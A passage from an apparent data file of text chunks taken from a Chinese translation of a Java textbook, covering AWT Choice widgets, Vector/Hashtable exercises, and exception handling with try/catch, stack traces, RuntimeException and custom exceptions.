｝ ｐｕｂｌｉｃ ｂｏｏｌｅａｎ ａｃｔｉｏｎ （Ｅｖｅｎｔ ｅｖｔ， Ｏｂｊｅｃｔ ａｒｇ） ｛ ｉｆ（ｅｖｔ．ｔａｒｇｅｔ．ｅｑｕａｌｓ（ｃｂ１）） ｔ．ｓｅｔＴｅｘｔ（＂Ｒａｄｉｏ ｂｕｔｔｏｎ １＂）； ｅｌｓｅ ｉｆ（ｅｖｔ．ｔａｒｇｅｔ．ｅｑｕａｌｓ（ｃｂ２）） ｔ．ｓｅｔＴｅｘｔ（＂Ｒａｄｉｏ ｂｕｔｔｏｎ ２＂）； ｅｌｓｅ ｉｆ（ｅｖｔ．ｔａｒｇｅｔ．ｅｑｕａｌｓ（ｃｂ３）） ｔ．ｓｅｔＴｅｘｔ（＂Ｒａｄｉｏ ｂｕｔｔｏｎ ３＂）； ｅｌｓｅ ｒｅｔｕｒｎ ｓｕｐｅｒ．ａｃｔｉｏｎ（ｅｖｔ， ａｒｇ）； ｒｅｔｕｒｎ ｔｒｕｅ；"},
    {"text": "你将可以看到选择框的一些有趣的状态： ／／： Ｃｈｏｉｃｅ１．ｊａｖａ ／／ Ｕｓｉｎｇ ｄｒｏｐ－ｄｏｗｎ ｌｉｓｔｓ ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊；"},
    {"text": "ｐｕｂｌｉｃ ｃｌａｓｓ Ｃｈｏｉｃｅ１ ｅｘｔｅｎｄｓ Ａｐｐｌｅｔ ｛ Ｓｔｒｉｎｇ［］ ｄｅｓｃｒｉｐｔｉｏｎ ＝ ｛ ＂Ｅｂｕｌｌｉｅｎｔ＂， ＂Ｏｂｔｕｓｅ＂， ＂Ｒｅｃａｌｃｉｔｒａｎｔ＂， ＂Ｂｒｉｌｌｉａｎｔ＂， ＂Ｓｏｍｎｅｓｃｅｎｔ＂， ＂Ｔｉｍｏｒｏｕｓ＂， ＂Ｆｌｏｒｉｄ＂， ＂Ｐｕｔｒｅｓｃｅｎｔ＂ ｝；"},
    {"text": "ＴｅｘｔＦｉｅｌｄ ｔ ＝ ｎｅｗ ＴｅｘｔＦｉｅｌｄ（３０）； Ｃｈｏｉｃｅ ｃ ＝ ｎｅｗ Ｃｈｏｉｃｅ（）； Ｂｕｔｔｏｎ ｂ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ａｄｄ ｉｔｅｍｓ＂）； ｉｎｔ ｃｏｕｎｔ ＝ ０； ｐｕｂｌｉｃ ｖｏｉｄ ｉｎｉｔ（） ｛ ｔ．ｓｅｔＥｄｉｔａｂｌｅ（ｆａｌｓｅ）； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ４； ｉ＋＋） ３８９ ｃ．ａｄｄＩｔｅｍ（ｄｅｓｃｒｉｐｔｉｏｎ［ｃｏｕｎｔ＋＋］）； ａｄｄ（ｔ）； ａｄｄ（ｃ）； ａｄｄ（ｂ）； ｝ ｐｕｂｌｉｃ ｂｏｏｌｅａｎ ａｃｔｉｏｎ （Ｅｖｅｎｔ ｅｖｔ， Ｏｂｊｅｃｔ ａｒｇ） ｛ ｉｆ（ｅｖｔ．ｔａｒｇｅｔ．ｅｑｕａｌｓ（ｃ）） ｔ．ｓｅｔＴｅｘｔ（＂ｉｎｄｅｘ： ＂ ＋ ｃ．ｇｅｔＳｅｌｅｃｔｅｄＩｎｄｅｘ（） ＋ ＂ ＂ ＋ （Ｓｔｒｉｎｇ）ａｒｇ）； ｅｌｓｅ ｉｆ（ｅｖｔ．ｔａｒｇｅｔ．ｅｑｕａｌｓ（ｂ）） ｛ ｉｆ（ｃｏｕｎｔ ＜ ｄｅｓｃｒｉｐｔｉｏｎ．ｌｅｎｇｔｈ） ｃ．ａｄｄＩｔｅｍ（ｄｅｓｃｒｉｐｔｉｏｎ［ｃｏｕｎｔ＋＋］）； ｝ ｅｌｓｅ ｒｅｔｕｒｎ ｓｕｐｅｒ．ａｃｔｉｏｎ（ｅｖｔ， ａｒｇ）； ｒｅｔｕｒｎ ｔｒｕｅ；"},
    {"text": "｝ ｝ ／／／：￣ 文本字字段中显示的“ｓｅｌｅｃｔｅｄ ｉｎｄｅｘ，＂也就是当前选择的项目的序列号，在事件中选择的字符串就像 ａｃｔｉｏｎ（）的第二个自变量的字串符描述的一样好。"},
    {"text": "而且倘若必须使用 Ｊａｖａ １．０ 或 １．１，则可在需要超越它们的时候使用 ＪＧＬ。 如果能使用 Ｊａｖａ １．２，那么只使用新集合即可，它一般能满足我们的所有需要。 注意本书在 Ｊａｖａ １．１ 身上 ２６１ 花了大量篇幅，所以书中用到的大量集合都是只能在 Ｊａｖａ１．１ 中用到的那些：Ｖｅｃｔｏｒ 和 Ｈａｓｈｔａｂｌｅ。"},
    {"text": "现在，用 ｅｌｅｍｅｎｔＡｔ（）方法在 Ｖｅｃｔｏｒ 中遍历，并为每个 Ｇｅｒｂｉｌ 都调用 ｈｏｐ（）。 （２） 修改练习 １，用 Ｅｎｕｍｅｒａｔｉｏｎ 在调用 ｈｏｐ（）的同时遍历 Ｖｅｃｔｏｒ。"},
    {"text": "（４） 获取练习 １ 用到的 Ｇｅｒｂｉｌ 类，改为把它置入一个 Ｈａｓｈｔａｂｌｅ，然后将 Ｇｅｒｂｉｌ 的名称作为一个 Ｓｔｒｉｎｇ （键）与置入表格的每个 Ｇｅｒｂｉｌ（值）都关联起来。"},
    {"text": "获得用于 ｋｅｙｓ（）的一个 Ｅｎｕｍｅｒａｔｉｏｎ，并用它在 Ｈａｓｈｔａｂｌｅ 里遍历，查找每个键的 Ｇｅｒｂｉｌ，打印出键，然后将 ｇｅｒｂｉｌ 告诉给 ｈｏｐ（）。"},
    {"text": "由于程序员可能仍然在用这些语言维护自己的系统，所以他们应该对此有着深刻的体会：若按这种方式 控制错误，那么在创建大型、健壮、易于维护的程序时，肯定会遇到不小的阻挠。"},
    {"text": "可将与错误有关的信息发送到一 个更大的场景中，方法是创建一个特殊的对象，用它代表我们的信息，并将其“掷”（Ｔｈｒｏｗ）出我们当前的 场景之外。"},
    {"text": "９ ． １ ． １ 违例自变量 和 Ｊａｖａ 的其他任何对象一样，需要用 ｎｅｗ 在内存堆里创建违例，并需调用一个构建器。 在所有标准违例中， 存在着两个构建器：第一个是默认构建器，第二个则需使用一个字串自变量，使我们能在违例里置入相关信 息： ｉｆ（ｔ ＝＝ ｎｕｌｌ） ｔｈｒｏｗ ｎｅｗ ＮｕｌｌＰｏｉｎｔｅｒＥｘｃｅｐｔｉｏｎ（＂ｔ ＝ ｎｕｌｌ＂）；"},
    {"text": "但是，与普通方法返回的相似性到此便全部结束了，因为我们返回的地方与从普通方法调用中返回的地方是 迥然有异的（我们结束于一个恰当的违例控制器，它距离违例“掷”出的地方可能相当遥远——在调用堆栈 中要低上许多级）。"},
    {"text": "我们的思路是在违例对象以及挑选的违例对象类型中保存信息，所以在更大场景中的某个 人可知道如何对待我们的违例（通常，唯一的信息是违例对象的类型，而违例对象中保存的没什么意义）。"},
    {"text": "对于 Ｊａｖａ 的违例控制机制，它的一 个好处就是允许我们在一个地方将精力集中在要解决的问题上，然后在另一个地方对待来自那个代码内部的 错误。"},
    {"text": "９ ． ２ ． １ ｔ ｒ ｙ 块 若位于一个方法内部，并“掷”出一个违例（或在这个方法内部调用的另一个方法产生了违例），那个方法 就会在违例产生过程中退出。"},
    {"text": "ｔｒｙ 块属于一种普通的作用域， 用一个 ｔｒｙ 关键字开头： ｔｒｙ ｛ ／／ 可能产生违例的代码 ｝ 若用一种不支持违例控制的编程语言全面检查错误，必须用设置和错误检测代码将每个方法都包围起来—— 即便多次调用相同的方法。"},
    {"text": "２６４ ９ ． ２ ． ２ 违例控制器 当然，生成的违例必须在某个地方中止。 这个“地方”便是违例控制器或者违例控制模块。 而且针对想捕获 的每种违例类型，都必须有一个相应的违例控制器。"},
    {"text": "如下所示： ｔｒｙ ｛ ／／ Ｃｏｄｅ ｔｈａｔ ｍｉｇｈｔ ｇｅｎｅｒａｔｅ ｅｘｃｅｐｔｉｏｎｓ ｝ ｃａｔｃｈ（Ｔｙｐｅ１ ｉｄ１） ｛ ／／ Ｈａｎｄｌｅ ｅｘｃｅｐｔｉｏｎｓ ｏｆ Ｔｙｐｅ１ ｝ ｃａｔｃｈ（Ｔｙｐｅ２ ｉｄ２） ｛ ／／ Ｈａｎｄｌｅ ｅｘｃｅｐｔｉｏｎｓ ｏｆ Ｔｙｐｅ２ ｝ ｃａｔｃｈ（Ｔｙｐｅ３ ｉｄ３） ｛ ／／ Ｈａｎｄｌｅ ｅｘｃｅｐｔｉｏｎｓ ｏｆ Ｔｙｐｅ３ ｝ ／／ ｅｔｃ．．． 每个 ｃａｔｃｈ 从句——即违例控制器——都类似一个小型方法，它需要采用一个（而且只有一个）特定类型的 自变量。"},
    {"text": "在这种情况下，我们的违例更象 一个方法调用——我们用它在 Ｊａｖａ 中设置各种各样特殊的环境，产生类似于“恢复”的行为（换言之，此时 不是“掷”出一个违例，而是调用一个用于解决问题的方法）。"},
    {"text": "为解决这个问题，Ｊａｖａ 提供了一种特殊的语法格式（并强迫我们采用），以便礼貌地告诉客户程序 员该方法会“掷”出什么违例，令对方方便地加以控制。"},
    {"text": "因此，我们的方法定义看起来 应象下面这个样子： ｖｏｉｄ ｆ（） ｔｈｒｏｗｓ ｔｏｏＢｉｇ， ｔｏｏＳｍａｌｌ， ｄｉｖＺｅｒｏ ｛ ／／．．． 若使用下述代码： ２６５ ｖｏｉｄ ｆ（） ［ ／／ ．．． 它意味着不会从方法里“掷”出违例（除类型为 ＲｕｎｔｉｍｅＥｘｃｅｐｔｉｏｎ 的违例以外，它可能从任何地方掷出—— 稍后还会详细讲述）。"},
    {"text": "但不能完全依赖违例规范——假若方法造成了一个违例，但没有对其进行控制，编译器会侦测到这个情况， 并告诉我们必须控制违例，或者指出应该从方法里“掷”出一个违例规范。"},
    {"text": "具体的做法是捕获基础类违例类型 Ｅｘｃｅｐｔｉｏｎ（也存在 其他类型的基础违例，但 Ｅｘｃｅｐｔｉｏｎ 是适用于几乎所有编程活动的基础）。"},
    {"text": "对于程序员常用的所有违例类来说，由于 Ｅｘｃｅｐｔｉｏｎ 类是它们的基础，所以我们不会获得关于违例太多的信 息，但可调用来自它的基础类 Ｔｈｒｏｗａｂｌｅ 的方法： Ｓｔｒｉｎｇ ｇｅｔＭｅｓｓａｇｅ（） 获得详细的消息。"},
    {"text": "ｖｏｉｄ ｐｒｉｎｔＳｔａｃｋＴｒａｃｅ（） ｖｏｉｄ ｐｒｉｎｔＳｔａｃｋＴｒａｃｅ（ＰｒｉｎｔＳｔｒｅａｍ） 打印出 Ｔｈｒｏｗａｂｌｅ 和 Ｔｈｒｏｗａｂｌｅ 的调用堆栈路径。"},
    {"text": "下面是一个特殊的例子，它展示了 Ｅｘｃｅｐｔｉｏｎ 方法的使用（若执行该程序遇到困难，请参考第 ３ 章 ３．１．２ 小 节“赋值”）： ／／： ＥｘｃｅｐｔｉｏｎＭｅｔｈｏｄｓ．ｊａｖａ ／／ Ｄｅｍｏｎｓｔｒａｔｉｎｇ ｔｈｅ Ｅｘｃｅｐｔｉｏｎ Ｍｅｔｈｏｄｓ ｐａｃｋａｇｅ ｃ０９；"},
    {"text": "ｐｕｂｌｉｃ ｃｌａｓｓ ＥｘｃｅｐｔｉｏｎＭｅｔｈｏｄｓ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ｔｒｙ ｛ ２６６ ｔｈｒｏｗ ｎｅｗ Ｅｘｃｅｐｔｉｏｎ（＂Ｈｅｒｅ＇ｓ ｍｙ Ｅｘｃｅｐｔｉｏｎ＂）； ｝ ｃａｔｃｈ（Ｅｘｃｅｐｔｉｏｎ ｅ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｃａｕｇｈｔ Ｅｘｃｅｐｔｉｏｎ＂）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂ｅ．ｇｅｔＭｅｓｓａｇｅ（）： ＂ ＋ ｅ．ｇｅｔＭｅｓｓａｇｅ（））； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂ｅ．ｔｏＳｔｒｉｎｇ（）： ＂ ＋ ｅ．ｔｏＳｔｒｉｎｇ（））； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｅ．ｐｒｉｎｔＳｔａｃｋＴｒａｃｅ（）：＂）； ｅ．ｐｒｉｎｔＳｔａｃｋＴｒａｃｅ（）；"},
    {"text": "｝ ｝ ｝ ／／／：￣ 该程序输出如下： Ｃａｕｇｈｔ Ｅｘｃｅｐｔｉｏｎ ｅ．ｇｅｔＭｅｓｓａｇｅ（）： Ｈｅｒｅ＇ｓ ｍｙ Ｅｘｃｅｐｔｉｏｎ ｅ．ｔｏＳｔｒｉｎｇ（）： ｊａｖａ．ｌａｎｇ．Ｅｘｃｅｐｔｉｏｎ： Ｈｅｒｅ＇ｓ ｍｙ Ｅｘｃｅｐｔｉｏｎ ｅ．ｐｒｉｎｔＳｔａｃｋＴｒａｃｅ（）： ｊａｖａ．ｌａｎｇ．Ｅｘｃｅｐｔｉｏｎ： Ｈｅｒｅ＇ｓ ｍｙ Ｅｘｃｅｐｔｉｏｎ ａｔ ＥｘｃｅｐｔｉｏｎＭｅｔｈｏｄｓ．ｍａｉｎ 可以看到，该方法连续提供了大量信息——每类信息都是前一类信息的一个子集。"},
    {"text": "若只是简单地重新掷出当前违例，我们打印出来的、与 ｐｒｉｎｔＳｔａｃｋＴｒａｃｅ（）内的那个违例有关的信息会与违 例的起源地对应，而不是与重新掷出它的地点对应。"},
    {"text": "若想安装新的堆栈跟踪信息，可调用 ｆｉｌｌＩｎＳｔａｃｋＴｒａｃｅ（），它会返回一个特殊的违例对象。 这个违例的创建过程如下：将当前堆栈的信息填充到 原来的违例对象里。"},
    {"text": "下面列出它的形式： ／／： Ｒｅｔｈｒｏｗｉｎｇ．ｊａｖａ ／／ Ｄｅｍｏｎｓｔｒａｔｉｎｇ ｆｉｌｌＩｎＳｔａｃｋＴｒａｃｅ（） ｐｕｂｌｉｃ ｃｌａｓｓ Ｒｅｔｈｒｏｗｉｎｇ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｆ（） ｔｈｒｏｗｓ Ｅｘｃｅｐｔｉｏｎ ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂ｏｒｉｇｉｎａｔｉｎｇ ｔｈｅ ｅｘｃｅｐｔｉｏｎ ｉｎ ｆ（）＂）； ｔｈｒｏｗ ｎｅｗ Ｅｘｃｅｐｔｉｏｎ（＂ｔｈｒｏｗｎ ｆｒｏｍ ｆ（）＂）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｇ（） ｔｈｒｏｗｓ Ｔｈｒｏｗａｂｌｅ ｛ ｔｒｙ ｛ ｆ（）； ｝ ｃａｔｃｈ（Ｅｘｃｅｐｔｉｏｎ ｅ） ｛ ２６７ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂Ｉｎｓｉｄｅ ｇ（）， ｅ．ｐｒｉｎｔＳｔａｃｋＴｒａｃｅ（）＂）； ｅ．ｐｒｉｎｔＳｔａｃｋＴｒａｃｅ（）； ｔｈｒｏｗ ｅ； ／／ １７ ／／ ｔｈｒｏｗ ｅ．ｆｉｌｌＩｎＳｔａｃｋＴｒａｃｅ（）； ／／ １８ ｝ ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｔｈｒｏｗｓ Ｔｈｒｏｗａｂｌｅ ｛ ｔｒｙ ｛ ｇ（）； ｝ ｃａｔｃｈ（Ｅｘｃｅｐｔｉｏｎ ｅ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂Ｃａｕｇｈｔ ｉｎ ｍａｉｎ， ｅ．ｐｒｉｎｔＳｔａｃｋＴｒａｃｅ（）＂）； ｅ．ｐｒｉｎｔＳｔａｃｋＴｒａｃｅ（）；"},
    {"text": "它的输出结果如下： ｏｒｉｇｉｎａｔｉｎｇ ｔｈｅ ｅｘｃｅｐｔｉｏｎ ｉｎ ｆ（） Ｉｎｓｉｄｅ ｇ（）， ｅ ．ｐｒｉｎｔＳｔａｃｋＴｒａｃｅ（） ｊａｖａ．ｌａｎｇ．Ｅｘｃｅｐｔｉｏｎ： ｔｈｒｏｗｎ ｆｒｏｍ ｆ（） ａｔ Ｒｅｔｈｒｏｗｉｎｇ．ｆ（Ｒｅｔｈｒｏｗｉｎｇ．ｊａｖａ：８） ａｔ Ｒｅｔｈｒｏｗｉｎｇ．ｇ（Ｒｅｔｈｒｏｗｉｎｇ．ｊａｖａ：１２） ａｔ Ｒｅｔｈｒｏｗｉｎｇ．ｍａｉｎ（Ｒｅｔｈｒｏｗｉｎｇ．ｊａｖａ：２４） Ｃａｕｇｈｔ ｉｎ ｍａｉｎ， ｅ．ｐｒｉｎｔＳｔａｃｋＴｒａｃｅ（） ｊａｖａ．ｌａｎｇ．Ｅｘｃｅｐｔｉｏｎ： ｔｈｒｏｗｎ ｆｒｏｍ ｆ（） ａｔ Ｒｅｔｈｒｏｗｉｎｇ．ｆ（Ｒｅｔｈｒｏｗｉｎｇ．ｊａｖａ：８） ａｔ Ｒｅｔｈｒｏｗｉｎｇ．ｇ（Ｒｅｔｈｒｏｗｉｎｇ．ｊａｖａ：１２） ａｔ Ｒｅｔｈｒｏｗｉｎｇ．ｍａｉｎ（Ｒｅｔｈｒｏｗｉｎｇ．ｊａｖａ：２４） 因此，违例堆栈路径无论如何都会记住它的真正起点，无论自己被重复“掷”了好几次。"},
    {"text": "若将第 １７ 行标注（变成注释行），而撤消对第 １８ 行的标注，就会换用 ｆｉｌｌＩｎＳｔａｃｋＴｒａｃｅ（），结果如下： ｏｒｉｇｉｎａｔｉｎｇ ｔｈｅ ｅｘｃｅｐｔｉｏｎ ｉｎ ｆ（） Ｉｎｓｉｄｅ ｇ（）， ｅ．ｐｒｉｎｔＳｔａｃｋＴｒａｃｅ（） ｊａｖａ．ｌａｎｇ．Ｅｘｃｅｐｔｉｏｎ： ｔｈｒｏｗｎ ｆｒｏｍ ｆ（） ａｔ Ｒｅｔｈｒｏｗｉｎｇ．ｆ（Ｒｅｔｈｒｏｗｉｎｇ．ｊａｖａ：８） ａｔ Ｒｅｔｈｒｏｗｉｎｇ．ｇ（Ｒｅｔｈｒｏｗｉｎｇ．ｊａｖａ：１２） ａｔ Ｒｅｔｈｒｏｗｉｎｇ．ｍａｉｎ（Ｒｅｔｈｒｏｗｉｎｇ．ｊａｖａ：２４） Ｃａｕｇｈｔ ｉｎ ｍａｉｎ， ｅ．ｐｒｉｎｔＳｔａｃｋＴｒａｃｅ（） ｊａｖａ．ｌａｎｇ．Ｅｘｃｅｐｔｉｏｎ： ｔｈｒｏｗｎ ｆｒｏｍ ｆ（） ａｔ Ｒｅｔｈｒｏｗｉｎｇ．ｇ（Ｒｅｔｈｒｏｗｉｎｇ．ｊａｖａ：１８） ａｔ Ｒｅｔｈｒｏｗｉｎｇ．ｍａｉｎ（Ｒｅｔｈｒｏｗｉｎｇ．ｊａｖａ：２４） 由于使用的是 ｆｉｌｌＩｎＳｔａｃｋＴｒａｃｅ（），第 １８ 行成为违例的新起点。"},
    {"text": "针对 ｇ（）和 ｍａｉｎ（），Ｔｈｒｏｗａｂｌｅ 类必须在违例规格中出现，因为 ｆｉｌｌＩｎＳｔａｃｋＴｒａｃｅ（）会生成一个 Ｔｈｒｏｗａｂｌｅ 对象的句柄。 由于 Ｔｈｒｏｗａｂｌｅ 是 Ｅｘｃｅｐｔｉｏｎ 的一个基础类，所以有可能获得一个能够“掷”出的对象（具有 Ｔｈｒｏｗａｂｌｅ 属性），但却并非一个 Ｅｘｃｅｐｔｉｏｎ（违例）。"},
    {"text": "举个例子来说，下述 ２６８ 程序的违例便不会在 ｍａｉｎ（）中被捕获到： ／／： ＴｈｒｏｗＯｕｔ．ｊａｖａ ｐｕｂｌｉｃ ｃｌａｓｓ ＴｈｒｏｗＯｕｔ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｔｈｒｏｗｓ Ｔｈｒｏｗａｂｌｅ ｛ ｔｒｙ ｛ ｔｈｒｏｗ ｎｅｗ Ｔｈｒｏｗａｂｌｅ（）；"},
    {"text": "但假如这样做，会得到与使用 ｆｉｌｌＩｎＳｔａｃｋＴｒａｃｅ（）类似的效果：与违例起源地有关的信息会全部丢失，我们留下的是与新的 ｔｈｒｏｗ 有关的 信息。"},
    {"text": "如下所示： ／／： ＲｅｔｈｒｏｗＮｅｗ．ｊａｖａ ／／ Ｒｅｔｈｒｏｗ ａ ｄｉｆｆｅｒｅｎｔ ｏｂｊｅｃｔ ｆｒｏｍ ｔｈｅ ｏｎｅ ｔｈａｔ ／／ ｗａｓ ｃａｕｇｈｔ ｐｕｂｌｉｃ ｃｌａｓｓ ＲｅｔｈｒｏｗＮｅｗ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｆ（） ｔｈｒｏｗｓ Ｅｘｃｅｐｔｉｏｎ ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂ｏｒｉｇｉｎａｔｉｎｇ ｔｈｅ ｅｘｃｅｐｔｉｏｎ ｉｎ ｆ（）＂）； ｔｈｒｏｗ ｎｅｗ Ｅｘｃｅｐｔｉｏｎ（＂ｔｈｒｏｗｎ ｆｒｏｍ ｆ（）＂）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ｔｒｙ ｛ ｆ（）； ｝ ｃａｔｃｈ（Ｅｘｃｅｐｔｉｏｎ ｅ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂Ｃａｕｇｈｔ ｉｎ ｍａｉｎ， ｅ．ｐｒｉｎｔＳｔａｃｋＴｒａｃｅ（）＂）； ｅ．ｐｒｉｎｔＳｔａｃｋＴｒａｃｅ（）； ｔｈｒｏｗ ｎｅｗ ＮｕｌｌＰｏｉｎｔｅｒＥｘｃｅｐｔｉｏｎ（＂ｆｒｏｍ ｍａｉｎ＂）；"},
    {"text": "｝ ｝ ｝ ／／／：￣ 输出如下： ｏｒｉｇｉｎａｔｉｎｇ ｔｈｅ ｅｘｃｅｐｔｉｏｎ ｉｎ ｆ（） Ｃａｕｇｈｔ ｉｎ ｍａｉｎ， ｅ．ｐｒｉｎｔＳｔａｃｋＴｒａｃｅ（） ｊａｖａ．ｌａｎｇ．Ｅｘｃｅｐｔｉｏｎ： ｔｈｒｏｗｎ ｆｒｏｍ ｆ（） ａｔ ＲｅｔｈｒｏｗＮｅｗ．ｆ（ＲｅｔｈｒｏｗＮｅｗ．ｊａｖａ：８） ａｔ ＲｅｔｈｒｏｗＮｅｗ．ｍａｉｎ（ＲｅｔｈｒｏｗＮｅｗ．ｊａｖａ：１３） ｊａｖａ．ｌａｎｇ．ＮｕｌｌＰｏｉｎｔｅｒＥｘｃｅｐｔｉｏｎ： ｆｒｏｍ ｍａｉｎ ａｔ ＲｅｔｈｒｏｗＮｅｗ．ｍａｉｎ（ＲｅｔｈｒｏｗＮｅｗ．ｊａｖａ：１８） 最后一个违例只知道自己来自 ｍａｉｎ（），而非来自 ｆ（）。"},
    {"text": "为获得违例的一个综合概念，最好的方法是阅读由 ｈｔｔｐ：／／ｊａｖａ．ｓｕｎ．ｃｏｍ 提供的联机 Ｊａｖａ 文档（当然，首先 下载它们更好）。"},
    {"text": "９ ． ３ ． １ Ｒ ｕ ｎ ｔ ｉ ｍ ｅ Ｅ ｘ ｃ ｅ ｐ ｔ ｉ ｏ ｎ 的特殊情况 本章的第一个例子是： ｉｆ（ｔ ＝＝ ｎｕｌｌ） ｔｈｒｏｗ ｎｅｗ ＮｕｌｌＰｏｉｎｔｅｒＥｘｃｅｐｔｉｏｎ（）；"},
    {"text": "此外， 我们没必要专门写一个违例规范，指出一个方法可能会“掷”出一个 ＲｕｎｔｉｍｅＥｘｃｅｐｔｉｏｎ，因为已经假定可能 出现那种情况。"},
    {"text": "由于它们用于指出编程中的错误，所以几乎永远不必专门捕获一个“运行期违例”—— ＲｕｎｔｉｍｅＥｘｃｅｐｔｉｏｎ——它在默认情况下会自动得到处理。"},
    {"text": "由于编译器并不强制违例规范捕获它们，所以假如不捕获的 话，一个 ＲｕｎｔｉｍｅＥｘｃｅｐｔｉｏｎ 可能过滤掉我们到达 ｍａｉｎ（）方法的所有途径。"},
    {"text": "为体会此时发生的事情，请试试 下面这个例子： ／／： ＮｅｖｅｒＣａｕｇｈｔ．ｊａｖａ ／／ Ｉｇｎｏｒｉｎｇ ＲｕｎｔｉｍｅＥｘｃｅｐｔｉｏｎｓ ｐｕｂｌｉｃ ｃｌａｓｓ ＮｅｖｅｒＣａｕｇｈｔ ｛ ｓｔａｔｉｃ ｖｏｉｄ ｆ（） ｛ ｔｈｒｏｗ ｎｅｗ ＲｕｎｔｉｍｅＥｘｃｅｐｔｉｏｎ（＂Ｆｒｏｍ ｆ（）＂）；"},
    {"text": "｝ ２７０ ｝ ／／／：￣ 大家已经看到，一个 ＲｕｎｔｉｍｅＥｘｃｅｐｔｉｏｎ（或者从它继承的任何东西）属于一种特殊情况，因为编译器不要求 为这些类型指定违例规范。"},
    {"text": "输出如下： ｊａｖａ．ｌａｎｇ．ＲｕｎｔｉｍｅＥｘｃｅｐｔｉｏｎ： Ｆｒｏｍ ｆ（） ａｔ ＮｅｖｅｒＣａｕｇｈｔ．ｆ（ＮｅｖｅｒＣａｕｇｈｔ．ｊａｖａ：９） ａｔ ＮｅｖｅｒＣａｕｇｈｔ．ｇ（ＮｅｖｅｒＣａｕｇｈｔ．ｊａｖａ：１２） ａｔ ＮｅｖｅｒＣａｕｇｈｔ．ｍａｉｎ（ＮｅｖｅｒＣａｕｇｈｔ．ｊａｖａ：１５） 所以答案就是：假若一个 ＲｕｎｔｉｍｅＥｘｃｅｐｔｉｏｎ 获得到达 ｍａｉｎ（）的所有途径，同时不被捕获，那么当程序退出 时，会为那个违例调用 ｐｒｉｎｔＳｔａｃｋＴｒａｃｅ（）。"},
    {"text": "因为 ＲｕｎｔｉｍｅＥｘｃｅｐｔｉｏｎ 在此时代表一个编程错误： （１） 一个我们不能捕获的错误（例如，由客户程序员接收传递给自己方法的一个空句柄）。"},
    {"text": "（２） 作为一名程序员，一个应在自己的代码中检查的错误（如 ＡｒｒａｙＩｎｄｅｘＯｕｔＯｆＢｏｕｎｄＥｘｃｅｐｔｉｏｎ，此时应注 意数组的大小）。"},
    {"text": "这一点必须掌握，因为经常都需要创建自己的违例，以便指出自己的库可能生 成的一个特殊错误——但创建 Ｊａｖａ 分级结构的时候，这个错误是无法预知的。"},
    {"text": "继承一个违例相当 简单： ／／： Ｉｎｈｅｒｉｔｉｎｇ．ｊａｖａ ／／ Ｉｎｈｅｒｉｔｉｎｇ ｙｏｕｒ ｏｗｎ ｅｘｃｅｐｔｉｏｎｓ ｃｌａｓｓ ＭｙＥｘｃｅｐｔｉｏｎ ｅｘｔｅｎｄｓ Ｅｘｃｅｐｔｉｏｎ ｛ ｐｕｂｌｉｃ ＭｙＥｘｃｅｐｔｉｏｎ（） ｛｝ ｐｕｂｌｉｃ ＭｙＥｘｃｅｐｔｉｏｎ（Ｓｔｒｉｎｇ ｍｓｇ） ｛ ｓｕｐｅｒ（ｍｓｇ）；"},
    {"text": "｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ Ｉｎｈｅｒｉｔｉｎｇ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｆ（） ｔｈｒｏｗｓ ＭｙＥｘｃｅｐｔｉｏｎ ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂Ｔｈｒｏｗｉｎｇ ＭｙＥｘｃｅｐｔｉｏｎ ｆｒｏｍ ｆ（）＂）； ｔｈｒｏｗ ｎｅｗ ＭｙＥｘｃｅｐｔｉｏｎ（）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｇ（） ｔｈｒｏｗｓ ＭｙＥｘｃｅｐｔｉｏｎ ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂Ｔｈｒｏｗｉｎｇ ＭｙＥｘｃｅｐｔｉｏｎ ｆｒｏｍ ｇ（）＂）； ｔｈｒｏｗ ｎｅｗ ＭｙＥｘｃｅｐｔｉｏｎ（＂Ｏｒｉｇｉｎａｔｅｄ ｉｎ ｇ（）＂）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ｔｒｙ ｛ ２７１ ｆ（）； ｝ ｃａｔｃｈ（ＭｙＥｘｃｅｐｔｉｏｎ ｅ） ｛ ｅ．ｐｒｉｎｔＳｔａｃｋＴｒａｃｅ（）； ｝ ｔｒｙ ｛ ｇ（）； ｝ ｃａｔｃｈ（ＭｙＥｘｃｅｐｔｉｏｎ ｅ） ｛ 